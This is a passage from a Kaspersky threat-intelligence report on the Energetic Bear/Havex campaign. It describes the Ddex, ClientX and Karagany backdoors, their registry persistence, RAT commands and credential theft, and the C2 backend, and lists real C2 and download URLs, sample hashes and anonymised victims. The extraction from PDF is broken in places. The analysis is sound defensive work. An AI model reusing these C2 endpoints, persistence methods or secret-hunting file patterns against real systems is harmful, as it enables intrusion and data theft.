+Create another Victim-ID: $victim-id2= +HKCU/Identities/Default User ID +-01890} + example1: {8B01CFB5-FF66-4404-89E2-27E06475EA38}-01890} +(query for +HKCU/Identities/Default User ID + was successful) + example2: {ED-01890} +(query for +HKCU/Identities/Default User ID + was NOT successful) + Open Mutex $victim-id2 and create remote thread in corresponding process for C2 +communication +Initializes the key infrastructure in registry and generates an external Victim-ID: + Generate random Victim-ID +HKCU/Identities/Default User ID + + $currentCursorPos + +$currentPID+ +-TUS + If query for +HKCU/Identities/Default User ID + was NOT successful: +AUTO +$stringOfRandomInteger + + + $currentCursorPos + + + $currentPID+ +-TUS +TLP: Green +For any inquire please contact intelreports@kaspersky.com + Setup crypt key infrastructure with keys in registry (valid for both variants) +Keys (stored in +Software\Microsoft\Internet Explorer\InternetRegistry\SNLD +) - used to decrypt incoming c2-communication +AATnkDHDlO+cOi/6zqUVoaA2DfbTyIoP8y1+Q5MxLfimzeQFgJvk/mdHDjghFl5p2 +naTmm9y6IAQ2JZpTFhW1WVqC6a8sipU62zO94YwwqtThm+0citlfP4NyEm79c9Qok +0S4wG9+87/9FPLbZG9h0DNBTjWDqyoyQP6Hy7r0ty/nwAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAQABpCpH/X6TONDPvyHNS76gFHJl8NMVfiVKtV829QDAbZE9/O +CmpPvvQCLGjD6NhMIKmq48INzQHiFO0Sv83OLA18pc18oIfDBtkyBnZRoaIrw3+tn +sLwpEtYRtJ3axE4lT8ZBZ6Zu0EPXjqPkqbxH1RqF4pjBx1Rj15Ky/h1J+CwH0Ftmu +gRGp/CISiQDvB3kDRFjp42s0xOyce8jhmSNH5+E2PM3cXqCknRdIf6ZDRO2alMdds +TJhPV0S7hl+LNbB8tzetjZ6zRsZL46NGcj2p6bfQ1jMrgwPWI1Run8uin/YjnTyHp +ecKai3AWGFHo8SR5dJkFpHb07R1wmlMZqOXyVqc0fapRiHe7mXorsBTD2B9pczszV +Nkm+SUgKy9MOK+ezUeUH0h290XSNR3eyl3j453C2ygeSCAYhrUyESQoGQgF57KDs0 +4pS/uR+3Yd1wr1dUKPfP7xkKZTtlrdqxSZQ+XtLY5PhjySDqT233WsVTl26L10t9r +PYp7nE97Godz8DXn8HfCsqRvYwdwfrOD3cpAnBL2u6gU/G5Cvw47QyiCF96iMMPuW +Vq25/xLj9Zc+aWMtS9+jVKxnlnvdaxIQ== +pubm +) - used to encrypt outgoing c2-communication +AAStvhUWRdUCbz2jXG52xG6OXgtHxG9Qd/ckNJ2tQHZAfxDI/H3lmxy2JXILgri/h +pf0taVjAbfsohMc+aBndaYkQa73k/WPXvi8lFFCbKBBGVfj7xo4CmiEC5blZCHDNt +E6poNeUFKddcXXQAeGOwcvQmVHSxQn+uHIS+VqetyEaQAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAQAB +) - used to encrypt files +AATnkDHDlO+cOi/6zqUVoaA2DfbTyIoP8y1+Q5MxLfimzeQFgJvk/mdHDjghFl5p2 +naTmm9y6IAQ2JZpTFhW1WVqC6a8sipU62zO94YwwqtThm+0citlfP4NyEm79c9Qok +0S4wG9+87/9FPLbZG9h0DNBTjWDqyoyQP6Hy7r0ty/nwAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAQAB +AGTwRec: +Gathers victim information and stores it in an encrypted XML-like-file in %TEMP% +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The path to this file is saved in registry (XORed with 0x05) +Software\Microsoft\Internet Explorer\InternetRegistry\SNLD, sN (where N:= [0,x[) +external Victim-ID generated in GPI +Username +Computername +Country +Language +Nation +Type of Internet connection +Current IP +Drive information +Default browser +Process list +Listing of files in User-Profile-Directory +SendThisFile +Encrypts arbitrary file with +-key and save it to local dropzone (%temp%) as sN (where +N:=[0,x]) +TLP: Green +For any inquire please contact intelreports@kaspersky.com +RenameExecute +Renames itself and its startup-entry in registry +RunReg +Creates startup-entry in registry +Software\Microsoft\Windows\CurrentVersion\Run, load= +%PathToRundll32% %appdata%\ +sydmain.dll, AGTwLoad +SharedRegistry: +Used at install, adds itself to %PATH% +Encodes string with base64 using crypt32.dll, CryptBinaryToStringA +Flags: (CRYPT_STRING_BASE64,CRYPT_STRING_NOCRLF) +Encodes string with base64 using crypt32.dll, CryptBinaryToStringA +Flags: (CRYPT_STRING_BASE64) +Encrypts file with given key (called by non-public file-encryptor using +-key) +Decrypts string with given key (called by non-public c2-communicator using +-key) +Encrypts string with given key (called by non-public c2-communicator using +pubm +-key) +RAT Commands used by attacker +: execute file sent from c2 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +: load dll sent from c2 +: read file from disk, encrypt (with +-key) and save it to local dropzone, filename in +registry under sN +: not fully implemented or prefix of next command +: save directory listing and save it to local dropzone, filename in registry under sN +: replace +pubm +-key in registry (used for c2-communication) +: manipulates a nN and/or pN-entry in registry +: deletes nN and Pn-entries in registry, creates new nN and pN-entries +: execute shell-command (via cmd.exe) +: gather victim data (calls AGTwRec) +: delete registry entries +Exemplary registry entries: +Path: HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD +ID: Unique bot-id (see above) +prv: priv key (encrypt msg c2) +pubm: pub key (decrypt msg from c2) +pub: pub key (file encryption) +nN: random data +pN: random data +sN: XOR(5)-encrypted path (unicode) of (encrypted) files containing collected victim-data or +dumped files form hdd +For entries nN, pN, sN + N:=[0,x] +TLP: Green +For any inquire please contact intelreports@kaspersky.com +IV. Appendix 4: +Ddex loader + detailed analysis +Binaries metadata +SHA-256: +Size: +Compiled: +3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b +24576 +Mon, 18 Oct 2010 08:13:57 UTC +SHA-256: +Size: +Compiled: +Notes: +7a115335c971ad4f15af10ea54e2d3a6db08c73815861db4526335b81ebde253 +14296 +Thu, 28 Oct 2010 11:29:05 UTC +contains additional +print + export, which calls the main malware function +without creating a thread +SHA-256: +Size: +Compiled: +Notes: +76b272828c68b5c6d3693809330555b5a1a6a8bda73228c8edc37afca78a21d6 +13312 +Thu, 28 Oct 2010 11:29:05 UTC +practically identical to 7a11 +SHA-256: +Size: +Compiled: +Notes: +377a9c610cc17bbf19470b1a3f847b74e0f56d4f4fd57a3298c630dab403acea +15360 +Wed, Nov 24 2010 09:47:09 UTC +practically identical to 7a11... +All binaries have basically the same functionality - they serve as downloaders for other malicious +code. +Code flow: + Check / create mutex +(6757) + Check if it +s run by ddex.exe or explorer.exe; if not, create remote thread in explorer.exe +memory, which loads %TEMP%\Low\~tmppnet.dll + Set the autorun value: +HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows +Load= +%TEMP%\Low\ddex.exe + Create a remote thread in explorer.exe, which loads %TEMP%\Low\ddex.exe + Get some data from first
tag after UTC string in the file returned by www.thetimenow.com/ +TLP: Green +For any inquire please contact intelreports@kaspersky.com +index.cgi/?loc=258 + Get systime and write it to %TEMP%\Low\~ntp.tmp + Get windows version + Look for malicious data by sending following request to the specified URLs: +http://kitexgarments.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s +http://creloaded.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s +http://10bestsearch.com/ext/index2.php?t=%s&o=%s&i=%s&task_id=%s +[t = base64 encoded time string / o = os version / i = data from thetimenow.com or +NULL / task_id = content of ~task.tmp or string +done +Example request: +/ext/index2.php/?t=MjAxNDEyNzE0NQ==&o=XP_SP3&i=&task_id=done +Host information at the time of analysis: +kitexgarments.com +resolves to 66.39.134.254, +alive +GET request to specified file returns + +creloaded.com +resolves to 174.37.240.18, +alive, +GET request to specified file returns 404 +10bestsearch.com +resolves to 195.16.89.46, +alive, +GET request to specified file returns 404 +Headers: +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 +(KHTML, like Gecko) Chrome/6.0.472.59 Safari/534.3 +Accept: text/xml +Content-Type: application/x-www-form-urlencoded +Accept-Encoding: no +Connection: Keep-Alive +TLP: Green +For any inquire please contact intelreports@kaspersky.com + If the string + + is in the returned HTML code, exit; otherwise: + Read content that is between tags and write it to the file %TEMP%\Low\~task. + Read content that is between tags , xor it with 0x0A and write it to the %TEMP%\ +Low\~ldXXXX.TMP file, then load this file to the memory +TLP: Green +For any inquire please contact intelreports@kaspersky.com +V. Appendix 5: +The ClientX backdoor + detailed analysis +The ClientX backdoor binaries were found in an open directory on one of the C2 servers. +They consist of two .NET files. One of them is called client.exe, which is the main malware +component. The second is library.dll, which provides functions to client.exe. +Compiled on: Mon Mar 04 13:23:46 2013 +File size: 81 920 bytes +SHA256: D449AEDACCA27E61B8FAE3FCF0E40C29C53ED565E23ED64B6F5528287B547BD2 +The client.exe file has built-in debug messages, but the binary was compiled as a GUI application. By +editing the PE header, it is possible to change it back to console, and see real time debug messages +as the malware operates: +Here is what is displayed upon execution: +Sleep 10 seconds +One instance +upd cleaner +upd cleaner done +main loop +settingcheck +RegIeDir +RegIeDir done +run-work +LM no error +LM no error +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion +run-work done +work +run-work done 2 +BOTID +settingcheck done +ANSWER +Connecting get : http://hajaj-center.com/moon/fancybox/fancy_source.php?id=BOTID +TLP: Green +For any inquire please contact intelreports@kaspersky.com +begin work +end work +LOOP END +Code flow: +Upon execution, client.exe starts by sleeping for 10 seconds. It then creates a Mutext called +clientX +to check whether other instances of the malware are already running. If no other instance of the +malware is found, it will write +One instance + and continue execution. Otherwise, it will print out +More than one instance + and terminate. +Immediately after creating the Mutex the +cleaner + method is called. (Debug message: +cleaner +). This method looks for all executables in the current folder and deletes files with names +that do not match some file property criteria. +This is used to delete older versions of the RAT after a successful update (See the commands UPD +later described in this appendix) +5.1. Main loop +The backdoor then starts the main loop, which is an infinite while loop. (Debug message: +main +loop +5.1.1 Setting check +Some settings are checked by the backdoor. (Debug message: +setting check +The Settings Check method from the check class is used. +5.1.2 RegIeDir +After the debug message +RegIeDir +, the following registry key is opened +HKEY_CURRENT_USER\\ +SOFTWARE\\Microsoft\\Internet Explorer + and the subkey +InternetRegistry + is checked. If not +found, a subkey is created. That part is closed by a debug message: +RegIeDir done +5.1.3 Run-work +The +run-work + debug message indicates that the malware is gathering two registry keys for later +use. There is a structure named +prSettings + with the following fields: +public struct prSettings +TLP: Green +For any inquire please contact intelreports@kaspersky.com +public string[] servers; +public string id; +public int timeout; +public string pub; +public string priv; +public RegistryKey KeyRun; +public RegistryKey KeyWork; +The last two fields +prSettings.KeyRun + and +prSettings.KeyWork + are the one filled by +run-work +KeyRun + will hold +SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run +, either from +HKEY_LOCAL_MACHINE + or +HKEY_CURRENT_USER + depending +on access rights. +KeyWork + will hold +SOFTWARE\\Microsoft\\Windows\\CurrentVersion +, either from +HKEY_ +LOCAL_MACHINE + or +HKEY_CURRENT_USER + depending +on access rights. +The +CheckAccessLM + and +CheckAccessCU + methods check for access to Local Machine and Current +User, respectively. +If the LOCAL MACHINE isn +t accessible the following error message is displayed +LM error: error +reason +, otherwise +LM no error +If the CURRENT MACHINE isn +t accessible the following error message is displayed +CU error: error +reason +, otherwise +CU no error +If for some reason, neither +SOFTWARE\\Microsoft\\Windows\\CurrentVersion + from Local +Machine nor Current User is accessible, the following +HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Internet Explorer\\InternetRegistry + will be +used for +KeyWork +Once the registry keys are identified, the debug message +run-work done + is displayed. +The malware prints both KeyRun and Keywork and continues execution. +A subkey is added to KeyRun to automatically start the malware when Windows reboots. +The name of that subkey comes from the +version information + entry of the resource section where +the internal and original file name can be found. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The full path of the malware is set and the malware can now survive reboot. The debug message +work + is displayed. +5.1.4 Run-work done 2 +The next step focuses on the Keywork registry key. +The following subkeys are checked and created if not present in Keywork\\[name_from_version_ +information] : +done +doneEXT +work +settings + and +servers +They hold not any value at this point. This part is ended by a debug message: +run-work done 2 +5.1.5 Generating BotID and filling subkeys +Immediately after checking for special subkeys, the IDget method is called. +If the + subkey doesn +t exist, the method IDset is called and a new BOTID is created and stored as +a Base64 encoded string. +Afterwards, the IDget method is called and the BOTID is Base64 decoded from the registry and +saved for later use in prSettings.id. +It does the same for +prSettings.priv +prSettings.pub +prSettings.timeout + and +prSettings. +servers +, each time checking whether a value is already set, and creating one if not. +The developers made a mistake. The +prSettings.priv + is set using the IDget method instead of +the KeyPrivGet method. However, this makes little difference since KeyPubGet, KeyPrivGet and +IDget are wrappers to the GenerateID methods. This could have introduced a serious flaw if those +parameters were used in a secure scheme: +Correct for Pub: +if (this.KeyPubGet(prSettings.KeyWork) == null) +this.KeyPubSet(prSettings.KeyWork); +prSettings.pub = this.KeyPubGet(prSettings.KeyWork); +Incorrect for Priv: +if (this.KeyPrivGet(prSettings.KeyWork) == null) +this.KeyPrivSet(prSettings.KeyWork); +prSettings.priv = this.IDget(prSettings.KeyWork); +TLP: Green +<--- mistake +For any inquire please contact intelreports@kaspersky.com +Once it is done filling the prSettings structure, the debug message +settingcheck done + is displayed. +5.2 Network communication - AnsSend +The next method called by our trojan is +AnsSend +. It stands for +Answer Send +It starts with the debug message +ANSWER +This part of the code looks into the registry, specifically into the +KeyWork\\[name_from_version_ +information]\\done + and doneEXT subkeys +to see if there is anything ready to be posted to the C&C server. Those subkeys should be empty +at this stage, since the Answers are only created after a task received from the C&C server is +completed. +Should answers be available, their numbers would be printed as a debug message and processed +and the following would be displayed as a debug message: +ANSWER +1 (meaning one answer) +Connecting post: HTTP:\\C&C server with botID as parameter +8 (size of answer * 2 as it is converted to unicode) +reqstream +wrote to stream +This essentially does a POST request to the C&C server using the BOTID and the following User +Agent: +Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 +On the C&C server side, a new file would be created named after the BOTID with the extension +.ans +Here is an example of such a file: +The date of the post can be found, the base64 encoded C&C server and the unicode string Answer, +modified in this example. +This is how the attackers get an answer (result) from a given task. +5.3 Network communication - WorkReceive +The WorkReceive function essentially does a GET request on the C&C server in order to receive a +task to complete on the infected computer. The task to execute is encrypted and base64 encoded +TLP: Green +For any inquire please contact intelreports@kaspersky.com +and returned between the +havex + tags. Here is an example without any task between the tags: +The trojan calls the DataParser to locate the task: +The task is decrypted, decoded and stored in the +KeyWork\\[name_from_version_information]\\ +work + subkey. +5.4 WorkBegin - Task Dispatcher +Just before the WorkBegin method is called, the +begin work + debug message is displayed. +The first thing WorkBegin does is decrypt and unbase64 the answer returned from the DataParser. +Afterwards, two things are extracted: The command to execute and the data parameter for the +command. +5.5 The Commands +The final step calls the command dispatcher, which executes the command sent by the attackers. +5.5.1 SCR +The + command is used by the attacker to request a Screen Capture of the infected computer. +Typical GDI functions are used, including: CreateCompatibleDC, GetSystemMetrics and +CreateCompatibleBitmap. +The screenshots are made as JPG files. If a screenshot already exist, it is deleted prior the creation of +a new one. +5.5.2 DIR / DIS +The + and + commands are used to generate Directory listings using the XML format. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +5.5.3 TIM +The TIM command is responsible for updating the Timeout parameter in the registry. +The command finds where the KeyWork is located and updates the Time out with the parameter +provided to the command. +5.5.4 UPD +The UPD command is used to run an updated version of the RAT. The currently running RAT +executes the update and exits. Upon execution, the newly updated version will delete the old RAT +using the Cleaner method described earlier. +5.5.5 FID +Change Folder attributes. +5.5.6 LIB +The LIB command is used to load a DLL on the infected machine. It simply uses LoadLibrary. +5.5.7 FIR +The FIR command is used to run an executable on the infected computer. The process is created +with hidden windows to stay unnoticed. +5.5.8 UPS +The UPS command is used to update the C&C server in the registry. +5.5.9 FIS +The FIS command is used to check if the file passed as parameter exists on the infected computer. +5.5.10 FIT +The FIT command is used to delete a file passed as parameter to the command if it exists on the +infected computer. +5.5.11 CMD +TLP: Green +For any inquire please contact intelreports@kaspersky.com +The CMD command is used to execute a command on the infected machine using cmd.exe +5.5.12 KEY +The KEY command is used to update the Priv and Pub key in the registry. +5.6 Sleep and Loop again +Once the commands have been executed, the debug message +End work + is displayed. +The malware then sleeps for a random amount of time and the main loop continues. +If the commands were executed, all results stored in the registry will be POSTED to the server via +the AnsSend method. +The malware loops forever waiting for new orders from the attackers. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +VI. Appendix 6: +Karagany backdoor + detailed analysis +1st stage samples +SHA-256: +1b3cf050d626706d32c1c2c1cbd4975d519cfbdb9bca0f2e66b7e1120030b439 +size: +538152 +timestamp: Fri, 19 Jun 1992 22:22:17 UTC +sources: +hXXp://lafollettewines.com/blog/wp-includes/pomo/inden2i.php?dwl=fne +hXXp://kenzhebek.com/tiki/files/templates/listpages/inden2i.php?dwl=fne +dropped as: dxpserver.exe, corensys.exe, wbemmonitor.exe +detected as: Trojan.Win32.Benban.yc +SHA-256: +size: +timestamp: +detected as: +b1a3e67200a3837ecf45481885c2eca88f89509443a0bcec01b12aa737007a9b +248360 +Fri, 19 Jun 1992 22:22:17 UTC +Trojan-Dropper.Win32.Clons.aqwj +SHA-256: +size: +timestamp: +source: +dropped as: +detected as: +fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 +271400 +Fri, 19 Jun 1992 22:22:17 UTC +www.nahoonservices.com/wp-content/plugins/rss-poster/juch.php +searchindexer.exe +Trojan-Dropper.Win32.Clons.ampw +SHA: +size: +timestamp: +signature: +a553384eeadf4ad39e6c89bf16a146c01ebf627d042485844d75cd67b421afb8 +248360 +Fri, 19 Jun 1992 22:22:17 UTC +Trojan-Dropper.Win32.Clons.apvc +This backdoor comes packed with UPX and a custom Delphi packer. The Delphi packer contains antidebugging tricks and code especially crafted to overrun sandbox mechanisms. The packer unpacks and +executes the main binary in several stages, creating multiple separated processes and threads. +Code flow: + Check OS version, install date, username and system metrics + Check for event +51032_861222508099 +TLP: Green +For any inquire please contact intelreports@kaspersky.com + Copy self to %APPDATA%\\.exe, where and + are chosen from the list of strings hardcoded in the binary + Set attribs of the copied dropper to hidden & system + Move the original dropper to err.log + Set file attributes to hidden & temporary + Use MoveFileWithProgress to delete the original dropper on the next reboot + Copy %SYSTEM%chkdsk.exe file to the path and filename of the original dropper + Copy %SYSTEM%chkdsk.exe to +%APPDATA%\\ .exe + (with the +space at the end) + Create folder %APPDATA%\\plugs + Use COM objects (IShellLink &IPersistFile interfaces) to create a link in the Startup folder + Extract the credentials from Internet Explorer +s password manager and save them to \prx.jpg file; keep monitoring the credentials in loop and updating the file + Check if any browser process is running and if so, inject the DLL spying on the basic authentication +credentials sent via HTTP traffic; affected browsers include Internet Explorer, Firefox, Mozilla and Opera + Check Internet connection by sending GET request to adobe.com/geo/productid.php and +microsoft.com/en-us/default.aspx + If Internet is working, initiate the communication with C2 (the IP address is hardcoded in the +binary) by sending the following post request +POST 93.188.161.235/check_value.php?identifiant=51032_861222508099&version=ver4_2 +Await commands +If the C2 is not available, create an empty file: \inact.api +Create C:\ProgramData\Mail\MailAg\gl directory +Create a thread that monitors this directory and sends the content of files found inside it to the C2 +server; the data is encrypted with a combination of XOR and other bitwise operations before sending +List of backdoor commands: +Cownexec +Cownadminexec +Updateme +Deleteplugin +Loadplugin +Xdiex +Xrebootx +Xmonstart - start monitoring the C:\ProgramData\Mail\MailAg\gl dir and send file content to +the C2 + Xmonstop - stop monitoring + Xgetfile + Xec2 - another routine to execute a binary +TLP: Green +For any inquire please contact intelreports@kaspersky.com + Xfrost + Killklg +List of strings used as folder name and filename: +Folder name +File name +Microsoft WCF services +SearchIndexer +Broker services +ImeBroker +Flash Utilities +fsutil +Media Center Programs; +PnPutil +Policy Definitions +BdeUISrv +Microsoft Web Tools +WinSAT +Reference Assemblies +pwNative +Analysis Services +SnippingTool +InstallShield Information +DFDWizard +IIS SQL Server +PrintBrmEngine +Diagnostics; +WbemMonitor +NTAPI Perfomance +dxpserver +WPF Platform +PowerMng +2nd stage samples (modules) +Screenshot module +SHA-256: +05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 +Size: +823289 +Timestamp: Fri, 07 Jun 2013 08:05:56 UTC +Source: +91.203.6.71/check2/muees27jxt/scs.exe +Detected as: Trojan-PSW/Karagany (Microsoft, Norman); +This EXE copies the additional MZ from its overlay to C:\ProgramData\Cap\Cap.exe and runs this +file using following command: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +C:\cmd.exe /c C:\ProgramData\Cap\Cap.exe /d C:\ProgramData\Mail\MailAg /f scs.jpg > +C:\ProgramData\Mail\MailAg\scs.txt +Then it deletes the directory C:\ProgramData\Cap and all the files in it, deletes itself and exits. +It uses encrypted strings - XOR with progressively incremented value. +3rd stage 3rd party screenshot tool +SHA256: +150ffd226b8a0d7cabe295b6ad3d256e5aa273a968b5b700b1a5bdbebf088fa7 +Size: +696320 +Timestamp: Fri, 16 Apr 2010 07:47:33 UTC +Cap.exe is indeed the DuckLink CmdCapture tool - a 3rd party freeware AutoIt application (AutoIt +version 3.3.6.1) for capturing the screenshots, available here +http://www.ducklink.com/p/download/ +This application is dropped by the scs.exe module and run using following command line parameters: +/d C:\ProgramData\Mail\MailAg /f scs.jpg > C:\ProgramData\Mail\MailAg\scs.txt +The /d parameter specifies the destination directory +The /f parameter specifies the filename for the screenshot file. +Text output produced by application is redirected to the C:\ProgramData\Mail\MailAg\scs.txt file +and contains information such as: + Day and time of capture + Computer name + Username + Cpu architecture + Os version + IP address + Logon domain and logon server + Desktop details (height, width, depth, refresh rate) + Environmental variables +Description of the DuckLink CmdCapture functionalities from the README file that comes with the +application: +This freeware program designed to capture images of the screen. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Main Features: +* Full Screen Capture (display selection support). +* Window Capture. +* Selected area capture. +* Save captured image in silent mode. +* Open captured image in graphic editor. +* Print captured image. +* Put captured image to clipboard. +* Upload captured image (to image hosting services). +* Images format support: +JPG - Quality can be set. +BMP - Format can be set. +Example of part of the content of the scs.txt file: +@HOUR: Hours value of clock in 24-hour format. Range is 00 to 23 +Sample Value: 23 +@MDAY: Current day of month. Range is 01 to 31 +Sample Value: 22 +@MIN: Minutes value of clock. Range is 00 to 59 +Sample Value: 19 +@MON: Current month. Range is 01 to 12 +Sample Value: 07 +@MSEC: Milliseconds value of clock. +Range is 00 to 999 +Sample Value: 050 +@SEC: Seconds value of clock. Range is 00 to 59 +Sample Value: 52 +@WDAY: Numeric day of week. Range is 1 to 7 which corresponds to Sunday through +Saturday. +Sample Value: 3 +@YDAY: Current day of year. Range is 001 to 366 (or 001 to 365 if not a leap year) +Sample Value: 203 +@YEAR: Current four-digit year +Sample Value: 2014 +@ComputerName: Computer +s network name. +Sample Value: WINXP +@ComSpec: value of %comspec%, the SPECified secondary COMmand interpreter; primarily for +TLP: Green +For any inquire please contact intelreports@kaspersky.com +command line uses, e.g. +Run(@ComSpec & + /k help | more +Sample Value: C:\WINDOWS\system32\cmd.exe +@CPUArch: Returns + when the CPU is a 32-bit CPU and + when the CPU is 64-bit. +Sample Value: X64 +@HomeShare: Server and share name containing current user +s home directory. +Sample Value: +@IPAddress1: IP address of first network adapter. Tends to return 127.0.0.1 on some +computers. +Sample Value: 192.168.56.11 +@IPAddress2: IP address of second network adapter. Returns 0.0.0.0 if not applicable. +Sample Value: 0.0.0.0 +@IPAddress3: IP address of third network adapter. Returns 0.0.0.0 if not applicable. +Sample Value: 0.0.0.0 +@IPAddress4: IP address of fourth network adapter. Returns 0.0.0.0 if not applicable. +Sample Value: 0.0.0.0 +@LogonDNSDomain: Logon DNS Domain. +Sample Value: +@LogonDomain: Logon Domain. +Sample Value: WINXP +--- snip --- +File listing module +SHA-256: +07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 +Size: +15872 +Timestamp: Tue, 02 Jul 2013 12:41:47 UTC +Source: +91.203.6.71/check2/muees27jxt/fl.exe +Detected as: HEUR:Trojan.Win32.Generic +Module listing file. +Saves a list of documents that have specified extensions or contain specified strings in the file name to the C:\ +ProgramData\Mail\MailAg\fls.txt file. Saved information includes path, size and modification time. +File matching patterns: +*pass*.* +*.rtf +*.xls +*.pdf +*secret*.* +*.pst +*.doc +*.vmdk +*.pgp +*.p12 +*.mdb +*.tc +TLP: Green +For any inquire please contact intelreports@kaspersky.com +VII. Appendix 7: +C&C Analysis +The C&C Backend is written in PHP, consisting of 3 files. +log.php + is a Web-Shell, used for file level operations. +testlog.php + is not a PHP-script but it contains the C&C Server logfile of Backdoor-connections. +Please see +source.php + below for further information. +source.php +The Backdoors interact with +source.php +, which is the control script. Following the functions on +execution: +1. Collects the following Information: +Information +Syntax/content +Used (written to log) +Timestamp +day-month-year hour:minute-second +IP-address +checks and return valid IP-address +from HTTP-Request ( +HTTP_CLIENT_ +HTTP_X_FORWARDED +HTTP_X_ +Host +iFORWARDED_FOR +REMOTE_ADDR +UserAgent +reverse lookup of IP-address +(gethostbyaddr) +Proxy-IP-address if Bot connected through +Proxy +UserAgent from HTTP-Request +Request-URI +string of URI requested by Bot +BotID +BotID transferred with HTTP-request +Proxy +2. Writes the above information to +testlog.php +, separated by +Tabulator + and base64-encoded, +with the following syntax: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +\t\t\t\t\t +3. Writes all transferred HTTP-GET Variables to +.log +, separated by +Tabulator + and +base64-encoded. +4. If the bot executed an HTTP-POST-request, the transferred data is written to the file +. +, enclosed in +xdata +-Tag with timestamp. ( + is the acronym for +Answer +5. Checks for any file +_*.txt +a. If found the timestamp, filename and Status +sent + are first appended to +.log +Then the file content is transferred to the bot, embedded into HTML with HTML-Body +data! + and HTML-Comment +Havex + containing the data to be transferred. Finally the file on +the server will be removed. If removal fails it +s logged to +.log +b. If no matching file is found, a HTML-Response is sent with an empty +Havex + HTMLComment and HTML-Body text +Sorry, no data corresponding to your request. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +VIII. Appendix 8: +Victim identification +The page below shows a brief description of the identified victims including information about the +company and the sector on which they operates. A total of 101 victims have been identified. +Victim 1 +Offers a complete range of manufacturing processes including precision injection molding, cleanroom +molding and assembly, sheet metal fabrication, supply chain management and distribution. +Victim 2 +Ukrainian wholesale suppliers for the pharmaceutical market. +Victim 3 +General contracting, design build and construction management company; based in Alabama. +Victim 4 +Company performing web developing, hosting, consulting and content management. +Victim 5 +University in Ukraine. +Victim 6 +Develops larger machines for international manufacturers + Ireland. +Victim 7 +School in Tennessee. +Victim 8 +Special Purpose Machines. Working in several sectors including the pharmaceutical, automotive, +printing or plastic industry. +Victim 9 +Corporation - Area of activity : Adult Internal Medicine, Infectious Disease, Pediatrics, OB/GYN, +Dentistry, Psychology, Psychiatry, Social Services +Victim 10 +Faculty of Electrical Engineering, Mechanical Engineering and Naval Architecture. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Victim 11 +Distributor for construction machinery, energy systems and Caterpillar brand equipment. +Victim 12 +One of Northern Ireland +s most respected and innovative construction companies. +Victim 13 +Supplier of IT services and products. +Victim 14 +Multi-trade company providing high quality electrical, HVAC, IT, across the country (US). +Victim 15 +Area of activity: Packaging systems. HQ in Switzerland. +Victim 16 +Web development and hosting including ERP and commercial implementation and consulting +services. HQ: Chile +Victim 17 +Car dealer in Arizona +Victim 18 +IT Australia - provides systems to streamline management and governance processes. +Victim 19 +Integrated online marketing agency. Russia. +Victim 20 +Design and manufacture of standard and custom leak test machines. +Victim 21 +University in Spain. +Victim 22 +Towing/hauling solutions to the commercial trucking industry. Located coast to coast in the U.S., +Canada, Europe, Australia and Mexico. +Victim 23 +University in Poland. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Victim 24 +Areas of activity: recycling, mining and food sorting. +Victim 25 +Systems integrator located in North Carolina. Specializes in the design and implementation of SCADA systems. +Victim 26 +City council - Poland. +Victim 27 +University in China. +Victim 28 +Cleaning solutions. +Victim 29 +Manufacturer of flexible packaging and advanced laminate design solutions. +Victim 30 +Custom manufacturing of complex three-dimensional sheet metal parts. +Victim 31 +Specializes in mechanical engineering. Area of activity: Laminating-Machines , Used-Machinery. +Victim 32 +Structural engineering field in every major market sector and construction type. California. +Victim 33 +Courier services worldwide. Greece. +Victim 34 +Institute of Physics. Croatia +Victim 35 +Supplies public sector organizations with products and contracts. UK. +Victim 36 +University in Spain. +Victim 37 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +University in Poland. +Victim 38 +University in Poland. +Victim 39 +Research & Education Network. USA. +Victim 40 +University in Germany. +Victim 41 +American multinational technology and consulting corporation. +Victim 42 +Creates and manages international private WANs for large multinational companies. +Victim 43 +Informatics Centre in India. +Victim 42 +Health authority in Canada. +Victim 43 +County Government in USA. +Victim 44 +University in USA. +Victim 45 +American multinational conglomerate corporation. +Victim 46 +Unit within University in USA. +Victim 47 +Operates high speed computer network in Turkey. +Victim 48 +University in Poland. +TLP: Green +For any 